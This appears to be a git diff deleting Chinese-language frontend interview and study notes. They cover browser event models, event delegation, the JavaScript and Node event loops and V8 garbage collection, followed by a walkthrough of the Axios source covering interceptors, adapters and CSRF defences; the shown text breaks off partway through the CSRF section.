    - - -``` - -2)Nodejs socket后台: - -```javascript -var http = require('http'); -var socket = require('socket.io'); -// 启http服务 -var server = http.createServer(function(req, res) { - res.writeHead(200, { - 'Content-type': 'text/html' - }); - res.end(); -}); -server.listen('8080'); -console.log('Server is running at port 8080...'); -// 监听socket连接 -socket.listen(server).on('connection', function(client) { - // 接收信息 - client.on('message', function(msg) { - client.send('hello:' + msg); - console.log('data from client: ---> ' + msg); - }); - // 断开处理 - client.on('disconnect', function() { - console.log('Client socket has closed.'); - }); -}); -``` - -### 3. 正向代理和反向代理的区别 - -- **正向代理(隐藏真实客户端):** - -客户端想获得一个服务器的数据,但是因为种种原因无法直接获取。于是客户端设置了一个代理服务器,并且指定目标服务器,之后代理服务器向目标服务器转交请求并将获得的内容发送给客户端。这样本质上起到了对真实服务器隐藏真实客户端的目的。实现正向代理需要修改客户端,比如修改浏览器配置。 - -- **反向代理(隐藏真实服务器):** - -服务器为了能够将工作负载分不到多个服务器来提高网站性能 (负载均衡)等目的,当其受到请求后,会首先根据转发规则来确定请求应该被转发到哪个服务器上,然后将请求转发到对应的真实服务器上。这样本质上起到了对客户端隐藏真实服务器的作用。 一般使用反向代理后,需要通过修改 DNS 让域名解析到代理服务器 IP,这时浏览器无法察觉到真正服务器的存在,当然也就不需要修改配置了。 - -![正向代理与反向代理概念_Lelontar的博客-CSDN博客](https://cdn.yihuiblog.top/images/202207010953805.png) - -向代理和反向代理的结构是一样的,都是 client-proxy-server 的结构,它们主要的区别就在于中间这个 proxy 是哪一方设置的。在正向代理中,proxy 是 client 设置的,用来隐藏 client;而在反向代理中,proxy 是 server 设置的,用来隐藏 server。 - -### 4. Nginx的概念及其工作原理 - -Nginx 是一款轻量级的 Web 服务器,也可以用于反向代理、负载平衡和 HTTP 缓存等。Nginx 使用异步事件驱动的方法来处理请求,是一款面向性能设计的 HTTP 服务器。 - -传统的 Web 服务器如 Apache 是 process-based 模型的,而 Nginx 是基于event-driven模型的。正是这个主要的区别带给了 Nginx 在性能上的优势。 - -Nginx 架构的最顶层是一个 master process,这个 master process 用于产生其他的 worker process,这一点和Apache 非常像,但是 Nginx 的 worker process 可以同时处理大量的HTTP请求,而每个 Apache process 只能处理一个。 - -## 八、浏览器事件机制 - -### 1. 事件是什么?事件模型?:star::star: - -> 事件捕获、事件处理和事件冒泡 - -事件是用户操作网页时发生的交互动作,比如 click/move, 事件除了用户触发的动作外,还可以是文档加载,窗口滚动和大小调整。事件被封装成一个 event 对象,包含了该事件发生时的所有相关信息( event 的属性)以及可以对事件进行的操作( event 的方法)。 - -事件是用户操作网页时发生的交互动作或者网页本身的一些操作,**现代浏览器一共有三种事件模型:** - -- **DOM0 级事件模型**,这种模型不会传播,所以没有事件流的概念,但是现在有的浏览器支持以冒泡的方式实现,它可以在网页中直接定义监听函数,也可以通过 js 属性来指定监听函数。所有浏览器都兼容这种方式。直接在dom对象上注册事件名称,就是DOM0写法。 -- **IE 事件模型**,在该事件模型中,一次事件共有两个过程,**事件处理阶段和事件冒泡阶段**。事件处理阶段会首先执行目标元素绑定的监听事件。然后是事件冒泡阶段,冒泡指的是事件从目标元素冒泡到 document,依次检查经过的节点是否绑定了事件监听函数,如果有则执行。这种模型通过attachEvent 来添加监听函数,可以添加多个监听函数,会按顺序依次执行。 -- **DOM2 级事件模型(常见)**,在该事件模型中,一次事件共有三个过程,**第一个过程是事件捕获阶段**。捕获指的是事件从 document 一直向下传播到目标元素,依次检查经过的节点是否绑定了事件监听函数,如果有则执行。后面两个阶段和 IE 事件模型的两个阶段相同(**事件处理阶段和事件冒泡阶段**)。这种事件模型,事件绑定的函数是addEventListener,其中第三个参数可以指定事件是否在捕获阶段执行。 - -### 2. 如何阻止事件冒泡 - -- 普通浏览器使用:event.stopPropagation() -- IE浏览器使用:event.cancelBubble = true; - -### 3. 对事件委托的理解 :star::star: - -#### (1)事件委托的概念 - -事件委托本质上是利用了**浏览器事件冒泡**的机制。因为事件在冒泡过程中会上传到父节点,父节点可以通过事件对象获取到目标节点,因此可以把子节点的监听函数定义在父节点上,由父节点的监听函数统一处理多个子元素的事件,这种方式称为事件委托(事件代理)。 - -使用事件委托可以不必要为每一个子元素都绑定一个监听事件,这样减少了内存上的消耗。并且使用事件代理还可以实现事件的动态绑定,比如说新增了一个子节点,并不需要单独地为它添加一个监听事件,它绑定的事件会交给父元素中的监听函数来处理。 - -#### (2)事件委托的特点 - -- **减少内存消耗** - -如果有一个列表,列表之中有大量的列表项,需要在点击列表项的时候响应一个事件: - -```html -
      -
    • item 1
    • -
    • item 2
    • -
    • item 3
    • - ...... -
    • item n
    • -
    -``` - -如果给每个列表项一一都绑定一个函数,那对于内存消耗是非常大的,效率上需要消耗很多性能。因此,比较好的方法就是把这个点击事件绑定到他的父层,也就是 ul 上,然后在执行事件时再去匹配判断目标元素,所以事件委托可以减少大量的内存消耗,节约效率。 - -- **动态绑定事件** - -给上述的例子中每个列表项都绑定事件,在很多时候,需要通过 AJAX 或者用户操作动态的增加或者去除列表项元素,那么在每一次改变的时候都需要重新给新增的元素绑定事件,给即将删去的元素解绑事件;如果用了事件委托就没有这种麻烦了,因为事件是绑定在父层的,和目标元素的增减是没有关系的,执行到目标元素是在真正响应执行事件函数的过程中去匹配的,所以使用事件在动态绑定事件的情况下是可以减少很多重复工作的。 - -```javascript -// 来实现把 #list 下的 li 元素的事件代理委托到它的父层元素也就是 #list 上: -// 给父层元素绑定事件 -document.getElementById('list').addEventListener('click', function (e) { - // 兼容性处理 - var event = e || window.event; - var target = event.target || event.srcElement; - // 判断是否匹配目标元素 - if (target.nodeName.toLocaleLowerCase === 'li') { - console.log('the content is: ', target.innerHTML); - } -}); -``` - -在上述代码中, target 元素则是在 #list 元素之下具体被点击的元素,然后通过判断 target 的一些属性(比如:nodeName,id 等等)可以更精确地匹配到某一类 #list li 元素之上; - -#### (3)局限性 - -当然,事件委托也是有局限的。比如 focus、blur 之类的事件没有事件冒泡机制,所以无法实现事件委托;mousemove、mouseout 这样的事件,虽然有事件冒泡,但是只能不断通过位置去计算定位,对性能消耗高,因此也是不适合于事件委托的。 - -当然事件委托不是只有优点,它也是有**缺点**的,事件委托会影响页面性能,主要影响因素有: - -- 元素中,绑定事件委托的次数; -- 点击的最底层元素,到绑定事件元素之间的`DOM`层数; - -在必须使用事件委托的地方,可以进行如下的处理: - -- 只在必须的地方,使用事件委托,比如:`ajax`的局部刷新区域 -- 尽量的减少绑定的层级,不在`body`元素上,进行绑定 -- 减少绑定的次数,如果可以,那么把多个事件的绑定,合并到一次事件委托中去,由这个事件委托的回调,来进行分发。 - -### 4. 事件委托的使用场景 :star::star: - -场景:给页面的所有的a标签添加click事件,代码如下: - -```javascript -document.addEventListener("click", function(e) { - if (e.target.nodeName == "A") - console.log("a"); -}, false); -``` - -但是这些a标签可能包含一些像span、img等元素,如果点击到了这些a标签中的元素(原生),就不会触发click事件,因为事件绑定上在a标签元素上,而触发这些内部的元素时,e.target指向的是触发click事件的元素(span、img等其他元素)。 - -这种情况下就可以使用事件委托来处理,将事件绑定在a标签的内部元素上,当点击它的时候,就会逐级向上查找,直到找到a标签为止,代码如下: - -```javascript -document.addEventListener("click", function(e) { - var node = e.target; - while (node.parentNode.nodeName != "BODY") { - if (node.nodeName == "A") { - console.log("a"); - break; - } - node = node.parentNode; - } -}, false); -``` - -### 5. 同步和异步的区别 - -- **同步**指的是当一个进程在执行某个请求时,如果这个请求需要等待一段时间才能返回,那么这个进程会一直等待下去,直到消息返回为止再继续向下执行。 -- **异步**指的是当一个进程在执行某个请求时,如果这个请求需要等待一段时间才能返回,这个时候进程会继续往下执行,不会阻塞等待消息的返回,当消息返回时系统再通知进程进行处理。 - -### 6. 对事件循环的理解 :star::star: - -因为 js 是单线程运行的,在代码执行时,通过将不同函数的**执行上下文压入执行栈中来保证代码的有序执行**。在执行同步代码时,如果遇到异步事件,js 引擎并不会一直等待其返回结果,而是会将这个事件**挂起**,继续执行执行栈中的其他任务。当异步事件执行完毕后,再将异步事件对应的回调加入到一个任务队列中等待执行。任务队列可以分为宏任务队列和微任务队列,当当前执行栈中的事件执行完毕后,js 引擎首先会判断微任务队列中是否有任务可以执行,如果有就将微任务队首的事件压入栈中执行。当微任务队列中的任务都执行完成后再去执行宏任务队列中的任务。 - - -![img](https://cdn.yihuiblog.top/images/202207011016491.webp) - -Event Loop 执行顺序如下所示: - -- 首先执行同步代码,这属于宏任务 -- 当执行完所有同步代码后,执行栈为空,查询是否有异步代码需要执行 -- 执行所有微任务 -- 当执行完所有微任务后,如**有必要会渲染页面(宏任务)** -- 然后开始下一轮 Event Loop,执行宏任务中的异步代码 - -### 7. 宏任务和微任务分别有哪些 :star::star: - -- 微任务包括: **promise** 的回调、node 中的 process.**nextTick** 、对 Dom 变化监听的 **MutationObserver**。 -- 宏任务包括: script 脚本的执行、**setTimeout** ,**setInterval** ,**setImmediate** 一类的定时事件,还有如 **I/O** 操作、**UI** 渲染等。 - -### 8. 什么是执行栈(调用栈) - -可以把执行栈认为是一个存储函数调用的**栈结构**,遵循先进后出的原则。 - -![img](https://cdn.yihuiblog.top/images/202207011018158.webp) - -当开始执行 JS 代码时,根据先进后出的原则,后执行的函数会先弹出栈,可以看到,`foo` 函数后执行,当执行完毕后就从栈中弹出了。 - -平时在开发中,可以在报错中找到执行栈的痕迹: - -```javascript -function foo() { - throw new Error('error') -} -function bar() { - foo() -} -bar() -``` - -![img](https://cdn.yihuiblog.top/images/202207011018482.webp) 可以看到报错在 `foo` 函数,`foo` 函数又是在 `bar` 函数中调用的。当使用递归时,因为栈可存放的函数是有**限制**的,一旦存放了过多的函数且没有得到释放的话,就会出现爆栈的问题 - -```javascript -function bar() { bar()}bar() -``` - -![img](https://cdn.yihuiblog.top/images/202207011018487.webp) - -### 9. Node 中的 Event Loop 和浏览器中的有什么区别?process.nextTick 执行顺序?:star::star: - -> 过于复杂诶 - -**Node 中的 Event Loop 和浏览器中的是完全不相同的东西。** - -**Node 的 Event Loop 分为 6 个阶段**, - -> Timers -> -> Pending callbacks -> -> idle/Prepare -> -> Poll -> -> Check -> -> Close callbacks - -它们会按照**顺序**反复运行。每当进入某一个阶段的时候,都会从对应的回调队列中取出函数去执行。当队列为空或者执行的回调函数数量到达系统设定的阈值,就会进入下一阶段。 - -![Node 事件循环— Murraya](https://cdn.yihuiblog.top/images/202207011019101.jpeg) - -(1)**Timers(计时器阶段)**:初次进入事件循环,会从计时器阶段开始。此阶段会判断是否存在过期的计时器回调(包含 setTimeout 和 setInterval),如果存在则会执行所有过期的计时器回调,执行完毕后,如果回调中触发了相应的微任务,会接着执行所有微任务,执行完微任务后再进入 Pending callbacks 阶段。 - -(2)**Pending callbacks**:执行推迟到下一个循环迭代的I / O回调(系统调用相关的回调)。 - -(3)**Idle/Prepare**:仅供内部使用。 - -(4)**Poll(轮询阶段)**: - -- 当回调队列不为空时:会执行回调,若回调中触发了相应的微任务,这里的微任务执行时机和其他地方有所不同,不会等到所有回调执行完毕后才执行,而是针对每一个回调执行完毕后,就执行相应微任务。执行完所有的回调后,变为下面的情况。 -- 当回调队列为空时(没有回调或所有回调执行完毕):但如果存在有计时器(setTimeout、setInterval和setImmediate)没有执行,会结束轮询阶段,进入 Check 阶段。否则会阻塞并等待任何正在执行的I/O操作完成,并马上执行相应的回调,直到所有回调执行完毕。 - -(5)**Check(查询阶段)**:会检查是否存在 setImmediate 相关的回调,如果存在则执行所有回调,执行完毕后,如果回调中触发了相应的微任务,会接着执行所有微任务,执行完微任务后再进入 Close callbacks 阶段。 - -(6)**Close callbacks**:执行一些关闭回调,比如socket.on('close', ...)等。 - -下面来看一个例子,首先在有些情况下,定时器的执行顺序其实是**随机**的 - -```javascript -setTimeout(() => { - console.log('setTimeout') -}, 0) -setImmediate(() => { - console.log('setImmediate') -}) -``` - -对于以上代码来说,`setTimeout` 可能执行在前,也可能执行在后 - -- 首先 `setTimeout(fn, 0) === setTimeout(fn, 1)`,这是由源码决定的 -- 进入事件循环也是需要成本的,如果在准备时候花费了大于 1ms 的时间,那么在 timer 阶段就会直接执行 `setTimeout` 回调 -- 那么如果准备时间花费小于 1ms,那么就是 `setImmediate` 回调先执行了 - -当然在某些情况下,他们的执行顺序一定是固定的,比如以下代码: - -```javascript -const fs = require('fs') -fs.readFile(__filename, () => { - setTimeout(() => { - console.log('timeout'); - }, 0) - setImmediate(() => { - console.log('immediate') - }) -}) -``` - -在上述代码中,`setImmediate` 永远**先执行**。因为两个代码写在 IO 回调中,IO 回调是在 poll 阶段执行,当回调执行完毕后队列为空,发现存在 `setImmediate` 回调,所以就直接跳转到 check 阶段去执行回调了。 - -上面都是 macrotask 的执行情况,对于 microtask 来说,它会在以上每个阶段完成前**清空** microtask 队列,下图中的 Tick 就代表了 microtask - -![07 - Event Loop - Powered by MinDoc](https://doc.xuwenliang.com/uploads/201904/attach_1598a71ab68009cb.png) - -```javascript -setTimeout(() => { - console.log('timer21') -}, 0) -Promise.resolve().then(function() { - console.log('promise1') -}) -``` - -对于以上代码来说,其实和浏览器中的输出是一样的,microtask 永远执行在 macrotask 前面。 - -最后来看 Node 中的 `process.nextTick`,这个函数其实是独立于 Event Loop 之外的,它有一个自己的队列,当每个阶段完成后,如果存在 nextTick 队列,就会**清空队列中的所有回调函数**,并且优先于其他 microtask 执行。 - -```javascript -setTimeout(() => { - console.log('timer1') - Promise.resolve().then(function() { - console.log('promise1') - }) -}, 0) -process.nextTick(() => { - console.log('nextTick') - process.nextTick(() => { - console.log('nextTick') - process.nextTick(() => { - console.log('nextTick') - process.nextTick(() => { - console.log('nextTick') - }) - }) - }) -}) -``` - -对于以上代码,永远都是先把 nextTick 全部打印出来。 - -### 10. 事件触发的过程是怎样的 - -事件触发有三个阶段: - -- `window` 往事件触发处传播,遇到注册的捕获事件会触发 -- 传播到事件触发处时触发注册的事件 -- 从事件触发处往 `window` 传播,遇到注册的冒泡事件会触发 - -事件触发一般来说会按照上面的顺序进行,但是也有特例,**如果给一个 \**`body`\** 中的子节点同时注册冒泡和捕获事件,事件触发会按照注册的顺序执行。** - -```javascript -// 以下会先打印冒泡然后是捕获 -node.addEventListener( - 'click', - event => { - console.log('冒泡') - }, - false -) -node.addEventListener( - 'click', - event => { - console.log('捕获 ') - }, - true -) -``` - -通常使用 `addEventListener` 注册事件,该函数的第三个参数可以是布尔值,也可以是对象。对于布尔值 `useCapture` 参数来说,该参数默认值为 `false` ,`useCapture` 决定了注册的事件是捕获事件还是冒泡事件。对于对象参数来说,可以使用以下几个属性: - -- `capture`:布尔值,和 `useCapture` 作用一样 -- `once`:布尔值,值为 `true` 表示该回调只会调用一次,调用后会移除监听 -- `passive`:布尔值,表示永远不会调用 `preventDefault` - -一般来说,如果只希望事件只触发在目标上,这时候可以使用 `stopPropagation` 来阻止事件的进一步传播。通常认为 `stopPropagation` 是用来阻止事件冒泡的,其实该函数也可以阻止捕获事件。 - -`stopImmediatePropagation` 同样也能实现阻止事件,但是还能阻止该事件目标执行别的注册事件。 - -```javascript -node.addEventListener( - 'click', - event => { - event.stopImmediatePropagation() - console.log('冒泡') - }, - false -) -// 点击 node 只会执行上面的函数,该函数不会执行 -node.addEventListener( - 'click', - event => { - console.log('捕获 ') - }, - true -) -``` - -## 九、浏览器垃圾回收机制 :star::star: - -### 1. V8的垃圾回收机制是怎样的 - -> GC(Garbage Collection)算法,新旧分代,普通浏览器使用**标记清除**(很少使用引用计数) - -V8 实现了准确式 GC,GC 算法采用了分代式垃圾回收机制。因此,V8 将内存(堆)分为新生代和老生代两部分。 - -**(1)新生代算法 - GC 垃圾回收 算法** - -新生代中的对象一般存活时间较短,使用 Scavenge GC 算法。 - -在新生代空间中,内存空间分为两部分,分别为 From 空间和 To 空间。在这两个空间中,必定有一个空间是使用的,另一个空间是空闲的。新分配的对象会被放入 From 空间中,当 From 空间被占满时,新生代 GC 就会启动了。算法会检查 From 空间中存活的对象并复制到 To 空间中,如果有失活的对象就会销毁。当复制完成后将 From 空间和 To 空间互换,这样 GC 就结束了。 - -**(2)老生代算法 - 标记清除算法和标记压缩算法** - -老生代中的对象一般存活时间较长且数量也多,**使用了两个算法,分别是标记清除算法和标记压缩算法。** - -先来说下什么情况下对象会出现在老生代空间中: - -- 新生代中的对象是否已经经历过一次 Scavenge 算法,如果经历过的话,会将对象从新生代空间移到老生代空间中。 -- To 空间的对象占比大小超过 25 %。在这种情况下,为了不影响到内存分配,会将对象从新生代空间移到老生代空间中。 - -老生代中的空间很复杂,有如下几个空间 - -```javascript -enum AllocationSpace { - // TODO(v8:7464): Actually map this space's memory as read-only. - RO_SPACE, // 不变的对象空间 - NEW_SPACE, // 新生代用于 GC 复制算法的空间 - OLD_SPACE, // 老生代常驻对象空间 - CODE_SPACE, // 老生代代码对象空间 - MAP_SPACE, // 老生代 map 对象 - LO_SPACE, // 老生代大空间对象 - NEW_LO_SPACE, // 新生代大空间对象 - FIRST_SPACE = RO_SPACE, - LAST_SPACE = NEW_LO_SPACE, - FIRST_GROWABLE_PAGED_SPACE = OLD_SPACE, - LAST_GROWABLE_PAGED_SPACE = MAP_SPACE -}; -``` - -在老生代中,以下情况会先启动标记清除算法: - -- 某一个空间没有分块的时候 -- 空间中被对象超过一定限制 -- 空间不能保证新生代中的对象移动到老生代中 - -在这个阶段中,会遍历堆中所有的对象,然后标记活的对象,在标记完成后,销毁所有没有被标记的对象。在标记大型对内存时,可能需要几百毫秒才能完成一次标记。这就会导致一些性能上的问题。为了解决这个问题,2011 年,V8 从 stop-the-world 标记切换到增量标志。在增量标记期间,GC 将标记工作分解为更小的模块,可以让 JS 应用逻辑在模块间隙执行一会,从而不至于让应用出现停顿情况。但在 2018 年,GC 技术又有了一个重大突破,这项技术名为并发标记。该技术可以让 GC 扫描和标记对象时,同时允许 JS 运行。 - -清除对象后会造成堆内存出现碎片的情况,当碎片超过一定限制后会启动压缩算法。在压缩过程中,将活的对象向一端移动,直到所有对象都移动完成然后清理掉不需要的内存。 - -### 2. 哪些操作会造成内存泄漏?:star: - -> 全局变量,定时器,Dom引用or监听,闭包,循环引用 - -- 第一种情况是由于使用未声明的变量,而意外的创建了一个全局变量,而使这个变量一直留在内存中无法被回收。 - - > 全局变量被严格模式所避免 - -- 第二种情况是设置了 setInterval 定时器,而忘记取消它,如果循环函数有对外部变量的引用的话,那么这个变量会被一直留在内存中,而无法被回收。 - -- 第三种情况是获取一个 DOM 元素的引用,而后面这个元素被删除,由于我们一直保留了对这个元素的引用,所以它也无法被回收。 - -- 第四种情况是不合理的使用闭包,从而导致某些变量一直被留在内存当中。 - diff --git "a/src/\346\272\220\347\240\201\345\255\246\344\271\240/Axios \346\272\220\347\240\201\346\216\242\347\247\230.md" "b/src/\346\272\220\347\240\201\345\255\246\344\271\240/Axios \346\272\220\347\240\201\346\216\242\347\247\230.md" deleted file mode 100644 index fe7fbc29..00000000 --- "a/src/\346\272\220\347\240\201\345\255\246\344\271\240/Axios \346\272\220\347\240\201\346\216\242\347\247\230.md" +++ /dev/null @@ -1,343 +0,0 @@ ---- -icon: edit -date: 2022-03-27 -category: -- 前端 -- 仓库源码学习 ---- - -# Axios 源码探秘 - -> 参照:全栈修仙之路-源码探秘篇 宝哥 - -Axios 是⼀个基于 Promise 的 HTTP 客户端,同时⽀持浏览器和 Node.js 环境。它是⼀个优秀的 HTTP -客户端,被⼴泛地应⽤在⼤量的 Web 项⽬中。 - -⽬前 Axios 项⽬的 Star 数为 79.9K,Fork 数也⾼达 7.6K,是⼀个很优秀的开源项⽬,所以接下来阿宝 -哥将带⼤家⼀起来分析 Axios 项⽬中⼀些值得借鉴的地⽅。阅读完本章,你将了解以下内容: - -HTTP 拦截器的设计与实现; - -HTTP 适配器的设计与实现 - -如何防御 CSRF 攻击。 - -## ⼀、Axios 简介 - -Axios 是⼀个基于 Promise 的 HTTP 客户端,拥有以下特性: -⽀持 Promise API; - -- 能够拦截请求和响应; -- 能够转换请求和响应数据; -- 客户端⽀持防御 CSRF 攻击; -- 同时⽀持浏览器和 Node.js 环境; -- 能够取消请求及⾃动转换 JSON 数据。 - -在浏览器端 Axios ⽀持⼤多数主流的浏览器,⽐如 Chrome、Firefox、Safari 和 IE 11。此外,Axios 还 -拥有⾃⼰的⽣态: - -![image-20220327223641999](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220327223641999.png) - -(数据来源 —— https://github.com/axios/axios/blob/master/ECOSYSTEM.md) - -简单介绍完 Axios,我们来分析⼀下它提供的⼀个核⼼功能 —— 拦截器。 - -## ⼆、HTTP 拦截器的设计与实现 - -### 2.1 拦截器简介 - -对于⼤多数 SPA 应⽤程序来说, 通常会使⽤ token 进⾏⽤户的身份认证。这就要求在认证通过后,我们需要在每个请求上都携带认证信息。针对这个需求,为了避免为每个请求单独处理,我们可以通过封装统⼀的 request 函数来为每个请求统⼀添加 token 信息。 - -但后期如果需要为某些 GET 请求设置缓存时间或者控制某些请求的调⽤频率的话,我们就需要不断修改request 函数来扩展对应的功能。此时,如果在考虑对响应进⾏统⼀处理的话,我们的 request 函数将变得越来越庞⼤,也越来越难维护。那么对于这个问题,该如何解决呢?Axios 为我们提供了解决⽅案 —— 拦截器。 - -Axios 是⼀个基于 Promise 的 HTTP 客户端,⽽ HTTP 协议是基于请求和响应: - -image-20220327223940254 - -所以 Axios 提供了请求拦截器和响应拦截器来分别处理请求和响应,它们的作⽤如下: - -- 请求拦截器:该类拦截器的作⽤是在请求发送前统⼀执⾏某些操作,⽐如在请求头中添加 token 字段。 -- 响应拦截器:该类拦截器的作⽤是在接收到服务器响应后统⼀执⾏某些操作,⽐如发现响应状态码为 401 时,⾃动跳转到登录⻚。 - -在 Axios 中设置拦截器很简单,通过 `axios.interceptors.request` 和 `axios.interceptors.response` 对象提供的 use ⽅法,就可以分别设置请求拦截器和响应拦截器: - -```ts -// 添加请求拦截器 -axios.interceptors.request.use(function (config) { - config.headers.token = 'added by interceptor'; - return config; -}); - -// 添加响应拦截器 -axios.interceptors.response.use(function (data) { - data.data = data.data + ' - modified by interceptor'; - return data; -}); -``` - -那么拦截器是如何⼯作的呢?在看具体的代码之前,我们先来分析⼀下它的设计思路。Axios 的作⽤是⽤于发送 HTTP 请求,⽽请求拦截器和响应拦截器的本质都是⼀个实现特定功能的函数。 - -我们可以按照功能把发送 HTTP 请求拆解成不同类型的⼦任务,⽐如有⽤于处理请求配置对象的⼦任务,⽤于发送 HTTP 请求的⼦任务和⽤于处理响应对象的⼦任务。当我们按照指定的顺序来执⾏这些⼦任务时,就可以完成⼀次完整的 HTTP 请求。 - -了解完这些,接下来我们将从 **任务注册、任务编排和任务调度** 三个⽅⾯来分析 Axios 拦截器的实现。 - -### 2.2 任务注册 - -通过前⾯拦截器的使⽤示例,我们已经知道如何注册请求拦截器和响应拦截器,其中请求拦截器⽤于处 理请求配置对象的⼦任务,⽽响应拦截器⽤于处理响应对象的⼦任务。要搞清楚任务是如何注册的,就 需要了解 `axios `和 `axios.interceptors` 对象。 - -```ts -// lib/axios.js -function createInstance(defaultConfig) { - var context = new Axios(defaultConfig); - var instance = bind(Axios.prototype.request, context); - - // Copy axios.prototype to instance - utils.extend(instance, Axios.prototype, context); - // Copy context to instance - utils.extend(instance, context); - return instance; -} - -// Create the default instance to be exported -var axios = createInstance(defaults); -``` - -在 Axios 的源码中,我们找到了 `axios` 对象的定义,很明显默认的 `axios` 实例是通过 `createInstance` ⽅法创建的,该⽅法最终返回的是 `Axios.prototype.request` 函数对象。同时, 我们发现了 `Axios` 的构造函数: - -```ts -// lib/core/Axios.js -function Axios(instanceConfig) { - this.defaults = instanceConfig; - this.interceptors = { - request: new InterceptorManager(), - response: new InterceptorManager() - }; -} -``` - -在构造函数中,我们找到了 `axios.interceptors` 对象的定义,也知道了 `interceptors.request` 和`interceptors.response` 对象都是 `InterceptorManager` 类的实例。因此接下来,进⼀步分析 `InterceptorManager` 构造函数及相关的 use ⽅法就可以知道任务是如何注册的: - -```ts -// lib/core/InterceptorManager.js -function InterceptorManager() { - this.handlers = []; -} -InterceptorManager.prototype.use = function use(fulfilled, rejected) { - this.handlers.push({ - fulfilled: fulfilled, - rejected: rejected - }); - // 返回当前的索引,⽤于移除已注册的拦截器 - return this.handlers.length - 1; -}; -``` - -通过观察 use ⽅法,我们可知注册的拦截器都会被保存到 `InterceptorManager` 对象的 `handlers` 属性中。下⾯我们⽤⼀张图来总结⼀下 `Axios` 对象与 `InterceptorManager` 对象的内部结构与关 系: - -![image-20220327230345209](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220327230345209.png) - -### 2.3 任务编排 - -现在我们已经知道如何注册拦截器任务,但仅仅注册任务是不够,我们还需要对已注册的任务进⾏编排,这样才能确保任务的执⾏顺序。这⾥我们把完成⼀次完整的 HTTP 请求分为**处理请求配置对象、发起 HTTP 请求和处理响应对象** 3 个阶段。 - -接下来我们来看⼀下 Axios 如何发请求的: - -```ts -axios({ - url: '/hello', - method: 'get', -}).then(res =>{ - console.log('axios res: ', res) - console.log('axios res.data: ', res.data) -}) -``` - -通过前⾯的分析,我们已经知道 axios 对象对应的是 `Axios.prototype.request` 函数对象,该函数 的具体实现如下: - -![image-20220327232047665](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220327232047665.png) - -### 2.4 任务调度 - -任务编排完成后,要发起 HTTP 请求,我们还需要按编排后的顺序执⾏任务调度。在 Axios 中具体的调 度⽅式很简单,具体如下所示: - -```js -// lib/core/Axios.js -Axios.prototype.request = function request(config) { - // 省略部分代码 - var promise = Promise.resolve(config); - while (chain.length) { - promise = promise.then(chain.shift(), chain.shift()); - } -} -``` - -因为 chain 是数组,所以通过 while 语句我们就可以不断地取出设置的任务,然后组装成 Promise 调⽤ 链从⽽实现任务调度,对应的处理流程如下图所示: - -![image-20220408130254710](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204081302794.png) - -下⾯我们来回顾⼀下 Axios 拦截器完整的使⽤流程: - -```js -// 添加请求拦截器 —— 处理请求配置对象 -axios.interceptors.request.use(function (config) { - config.headers.token = 'added by interceptor'; - return config; -}); -// 添加响应拦截器 —— 处理响应对象 -axios.interceptors.response.use(function (data) { - data.data = data.data + ' - modified by interceptor'; - return data; -}); -axios({ - url: '/hello', - method: 'get', -}).then(res =>{ - console.log('axios res.data: ', res.data) -}) -``` - -参考 Axios 拦截器的设计模型,我们就可以抽出以下通⽤的任务处理模型: - -![image-20220408130447315](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204081304375.png) - -## 三、HTTP 适配器的设计与实现 - -### 3.1 默认 HTTP 适配器 - -Axios 同时⽀持浏览器和 Node.js 环境,对于浏览器环境来说,我们可以通过 `XMLHttpRequest` 或 `fetch` API 来发送 HTTP 请求,⽽对于 Node.js 环境来说,我们可以通过 Node.js 内置的 `http` 或 `https` 模块来发送 HTTP 请求。 - - Axios ⽀持⾃定义适配器,同时也提供了默认的适 配器。对于⼤多数场景,我们并不需要⾃定义适配器,⽽是直接使⽤默认的适配器。因此,默认的适配 器就会包含浏览器和 Node.js 环境的适配代码,其具体的适配逻辑如下所示: - -```js -// lib/defaults.js -var defaults = { - adapter: getDefaultAdapter(), - xsrfCookieName: 'XSRF-TOKEN', - xsrfHeaderName: 'X-XSRF-TOKEN', - //... -} -function getDefaultAdapter() { - var adapter; - if (typeof XMLHttpRequest !== 'undefined') { - // For browsers use XHR adapter - adapter = require('./adapters/xhr'); - } else if (typeof process !== 'undefined' && - Object.prototype.toString.call(process) === '[object process]') { - // For node use HTTP adapter - adapter = require('./adapters/http'); - } - return adapter; -} -``` - -在 `getDefaultAdapter` ⽅法中,⾸先通过平台中特定的对象来区分不同的平台,然后再导⼊不同的适 配器,具体的代码⽐较简单,这⾥就不展开介绍。 - -### 3.2 ⾃定义适配器 - -其实除了默认的适配器外,我们还可以⾃定义适配器... - -## 四、CSRF 防御 - -### 4.1 CSRF 简介 - -跨站请求伪造(Cross-site request forgery),通常缩写为 CSRF 或者 XSRF, 是⼀种挟制⽤户在当前 已登录的 Web 应⽤程序上执⾏⾮本意的操作的攻击⽅法。 - -跨站请求攻击,简单地说,是攻击者通过⼀些技术⼿段欺骗⽤户的浏览器去访问⼀个⾃⼰曾经认证过的 ⽹站并运⾏⼀些操作(如发邮件,发消息,甚⾄财产操作如转账和购买商品)。由于浏览器曾经认证 过,所以被访问的⽹站会认为是真正的⽤户操作⽽去运⾏。 - -![image-20220408133243984](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204081332065.png) - -在上图中攻击者利⽤了 Web 中⽤户身份验证的⼀个漏洞:简单的身份验证只能保证请求发⾃某个⽤户的 浏览器,却不能保证请求本身是⽤户⾃愿发出的。 - -### 4.2 CSRF 防御措施 - -#### 4.2.1 检查 Referer 字段 - -HTTP 头中有⼀个 Referer 字段,这个字段⽤以标明**请求来源于哪个地址**。在处理敏感数据请求时,通常 来说,Referer 字段应和请求的地址位于同⼀域名下。 - -> **Referer** -> -> Referer 请求头包含了**当前请求来源页面的地址**,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 `Referer` 请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。 -> -> 在以下两种情况下,`Referer` 不会被发送: -> -> - 来源页面采用的协议为表示本地文件的 "file" 或者 "data" URI; -> - 当前请求页面采用的是非安全协议,而来源页面采用的是安全协议(HTTPS)(协议不同)。 - -#### 4.2.2 同步表单 CSRF 校验 - -CSRF 攻击之所以能够成功,是因为服务器⽆法区分正常请求和攻击请求。针对这个问题我们可以要求所 有的⽤户请求都携带⼀个 CSRF 攻击者⽆法获取到的 token。对于 CSRF 